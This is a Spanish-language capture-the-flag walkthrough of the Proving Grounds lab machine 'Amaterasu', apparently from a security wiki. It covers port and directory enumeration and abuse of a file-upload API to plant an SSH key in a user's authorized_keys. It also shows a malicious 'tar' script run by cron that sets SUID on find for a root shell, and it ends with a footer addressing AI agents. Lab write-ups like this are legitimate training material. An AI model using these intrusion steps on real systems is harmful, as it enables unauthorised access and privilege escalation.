# Amaterasu

<figure><img src="/files/LdMMKlC2rhh4jWyqQhQd" alt=""><figcaption></figcaption></figure>

## Enumeración

### Puertos abiertos

Comenzamos la resolución de la máquina Amaterasu, enumerando que puertos tiene abiertos el sistema objetivo.&#x20;

```
nmap -p- --open --min-rate 500 -Pn -n 192.168.180.249
```

<figure><img src="/files/JFU3901MkOHp2ptcYoZ8" alt=""><figcaption></figcaption></figure>

Tres puertos abiertos: 21, 25022, 33414 y 40080. Seguimos enumerando de manera profunda los servicios abiertos.&#x20;

```
nmap -p21,25022,33414,40080 -sVC -Pn -n 192.168.180.249
```

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-18 06:48 EDT
Nmap scan report for 192.168.180.249
Host is up (0.051s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.163
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
25022/tcp open  ssh     OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   256 68c605e8dcf29a2a789beea1aef6381a (ECDSA)
|_  256 e989ccc21714f3bc6221064a5e7180ce (ED25519)
33414/tcp open  unknown
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.3 Python/3.9.13
|     Date: Tue, 18 Jul 2023 10:49:03 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   Help: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('HELP').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
40080/tcp open  http    Apache httpd 2.4.53 ((Fedora))
|_http-server-header: Apache/2.4.53 (Fedora)
|_http-title: My test page
| http-methods: 
|_  Potentially risky methods: TRACE
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33414-TCP:V=7.93%I=7%D=7/18%Time=64B66E1C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/
SF:2\.2\.3\x20Python/3\.9\.13\r\nDate:\x20Tue,\x2018\x20Jul\x202023\x2010:
SF:49:03\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent
SF:-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<htm
SF:l\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1
SF:>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20se
SF:rver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20c
SF:heck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(HTTPOptions
SF:,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/2\.2\.3\x
SF:20Python/3\.9\.13\r\nDate:\x20Tue,\x2018\x20Jul\x202023\x2010:49:03\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang
SF:=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>The
SF:\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.\x2
SF:0If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x20y
SF:our\x20spelling\x20and\x20try\x20again\.</p>\n")%r(RTSPRequest,1F4,"<!D
SF:OCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\"
SF:>\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<met
SF:a\x20http-equiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\"
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x
SF:20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>
SF:Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\
SF:x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQ
SF:UEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.<
SF:/p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(Help,1EF,"<!DOCTYPE\x20HTML
SF:\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x2
SF:0\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equi
SF:v=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20
SF:</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Er
SF:ror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:
SF:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20requ
SF:est\x20syntax\x20\('HELP'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>E
SF:rror\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20
SF:request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x2
SF:0</body>\n</html>\n");
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.59 seconds

```

Interesante, puerto 21 (servidor FTP con acceso para usuario anonymous), 25022, 33414 y 40080 (Servidor Apache)

### Enumeración Web

La máquina objetivo está ejecutando un servidor Web en el puerto 40080. Veamos su contenido.&#x20;

<figure><img src="/files/cCLEvxd22aBsrLm8yDLt" alt=""><figcaption></figcaption></figure>

Vamos a enumerar directorios y archivos que puedan ser interesantes.&#x20;

```
dirsearch -u "http://192.168.180.249:40080/" -i 200,301 -t 20
```

<figure><img src="/files/OH1HTFUdZbZ8pz3p7pZ5" alt=""><figcaption></figcaption></figure>

No encontramos nada interesante.&#x20;

Realizamos el mismo proceso para el servicio que se está ejecutando en el puerto 33414.

<figure><img src="/files/HXEnSE0uvgOX6zcstK3Q" alt=""><figcaption></figcaption></figure>

Realizamos la enumeración de directorios y archivos.&#x20;

```
dirsearch -u "http://192.168.180.249:33414/" -i 200,301 -t 20
```

<figure><img src="/files/UNBP3hk3DaOg7vpVsQyg" alt=""><figcaption></figcaption></figure>

Encontramos dos directorios: /help e /info. Veamos su contenido. En el directorio /help, encontramos diferentes utilidades que hay disponibles.&#x20;

<figure><img src="/files/Tf41yMZHdEJRHcwscK2Q" alt=""><figcaption></figcaption></figure>

En /info vemos lo siguiente:

<figure><img src="/files/OdiXVMn2R9uHMxHHo4Iq" alt=""><figcaption></figcaption></figure>

Vemos que estamos enumerando una API REST. También encontramos un posible usuario del sistema, "Alfredo".&#x20;

Veamos que información interesante podemos enumerar con las utilidades que encontramos en el directorio /help.&#x20;

Podemos enumerar archivos del sistema.

<figure><img src="/files/oYPd7XJE2zvBN5lYQ6YJ" alt=""><figcaption></figcaption></figure>

Además, podemos confirmar que "alfredo" es usuario del sistema.&#x20;

Existe una utilidad de carga de archivos pero con método POST.&#x20;

<figure><img src="/files/5c1awq58BnkFZ8HLiglq" alt=""><figcaption></figcaption></figure>

Pero tenemos un posible vector de entrada.&#x20;

## Explotación

Vamos a intentar subir archivos realizando peticiones de tipo POST utilizando cURL. Esto lo hacemos de la siguiente forma:

```
curl -X POST http://192.168.180.249:33414/file-upload
```

<figure><img src="/files/q29ipgVeHxeRat4Dv1NN" alt=""><figcaption></figcaption></figure>

No hemos adjuntado ningún archivo en la petición. Vamos a crear un archivo de pruebas para tratar de subirlo a la máquina objetivo.

```
curl -F file=@securiters.txt http://192.168.180.249:33414/file-upload
```

<figure><img src="/files/W0OO0CTmtzWTmYQwRa9l" alt=""><figcaption></figcaption></figure>

```
curl -F filename="securiters.txt" -F file=@securiters.txt http://192.168.180.249:33414/file-upload
```

<figure><img src="/files/28KcyNOMA1CcSQolMwLd" alt=""><figcaption></figcaption></figure>

Se ha subido el archivo, vamos a comprobar en que directorio está en el servidor.&#x20;

<figure><img src="/files/K6PXSHgkcSdLwbtkgA3U" alt=""><figcaption></figcaption></figure>

Vamos a comprobar ahora, si podemos subir archivos al directorio del usuario "alfredo".&#x20;

```
curl -F filename="/home/alfredo/securiters.txt" -F file=@securiters.txt http://192.168.180.249:33414/file-upload
```

<figure><img src="/files/HnDoZOndfMrGvDsTPOHx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dykU45IWqbUrx70JS5HK" alt=""><figcaption></figcaption></figure>

Comprobemos si podemos acceder al directorio .ssh de este usuario.&#x20;

```
curl -F filename="/home/alfredo/.ssh/securiters.txt" -F file=@securiters.txt http://192.168.180.249:33414/file-upload
```

<figure><img src="/files/H6JJxXdBIYIFqCt5dNQL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LkpaA6VFtsMEDS7DK0TR" alt=""><figcaption></figcaption></figure>

Sabiendo esto, ¿que podemos hacer? Podemos tratar de subir una clave pública a este directorio para poder conectarnos como usuario "alfredo" sin necesidad de contraseña. Vamos a hacerlo de la siguente manera:

```
curl -F filename="/home/alfredo/.ssh/authorized_keys" -F file=@id_rsa.pub http://192.168.180.249:33414/file-upload
```

<figure><img src="/files/ifGXK4CvxCxvTtheYTnG" alt=""><figcaption></figcaption></figure>

Pero solo se permiten determinados tipos de archivos.

<pre><code>cp id_rsa.pub id_rsa.pub.txt 
<strong>curl -F filename="/home/alfredo/.ssh/authorized_keys" -F file=@id_rsa.pub.txt http://192.168.180.249:33414/file-upload
</strong></code></pre>

<figure><img src="/files/M7wq7cLI5bb98P8EbThQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/brHXJPfVxRWIyUa9vAac" alt=""><figcaption></figcaption></figure>

Habiendo transferido correctamente el archivo, ahora podremos conectarnos a la máquina vía SSH.

```
ssh -p 25022 -i id_rsa alfredo@192.168.180.249
```

<figure><img src="/files/h6cM5bWsKa5eJy554xEZ" alt=""><figcaption></figcaption></figure>

Ya tenemos acceso a la máquina como usuario "Alfredo". Vamos a buscar la flag local.txt.

<figure><img src="/files/ZM7Q9rb9IPcJAwqphTsP" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Enumeramos el archivo /etc/crontab

<figure><img src="/files/bipVCJuSTuI1BhQiJFz7" alt=""><figcaption></figcaption></figure>

Vemos un ejecutable bash que se ejecuta cada minuto. Veamos el contenido de este script.&#x20;

<figure><img src="/files/U2KuDXniy9OJgJGgaAzK" alt=""><figcaption></figcaption></figure>

Vemos el directorio /restapi.

<figure><img src="/files/LcW9nlFvnXbmSTVHB6pM" alt=""><figcaption></figcaption></figure>

No existe ejecutable "tar" así que podemos crear uno malicioso de la siguiente manera:&#x20;

```
nano tar

#!/bin/bash
chmod u+s /usr/bin/find
```

<figure><img src="/files/yLIAwLvmXGHKxVhMus9x" alt=""><figcaption></figcaption></figure>

Damos permisos

```
chmod +x tar
```

Después de un minuto, vamos a comprobar los archivos con permisos SUID

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="/files/KOPMfsVJPqveqZZROm3t" alt=""><figcaption></figcaption></figure>

Visitamos [GTFOBins](https://gtfobins.github.io/gtfobins/find/#suid) para ver como podemos elevar privilegios aprovechando esto.&#x20;

<figure><img src="/files/CU87rbGsGWN4U615mtFQ" alt=""><figcaption></figcaption></figure>

```
/usr/bin/find . -exec /bin/sh -p \; -quit
```

<figure><img src="/files/PZ9scyzDapPr0jpkCrdo" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag proof.txt para finalizar el CTF.&#x20;

<figure><img src="/files/XIgfh9141VdLLGd2bt1V" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/amaterasu.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
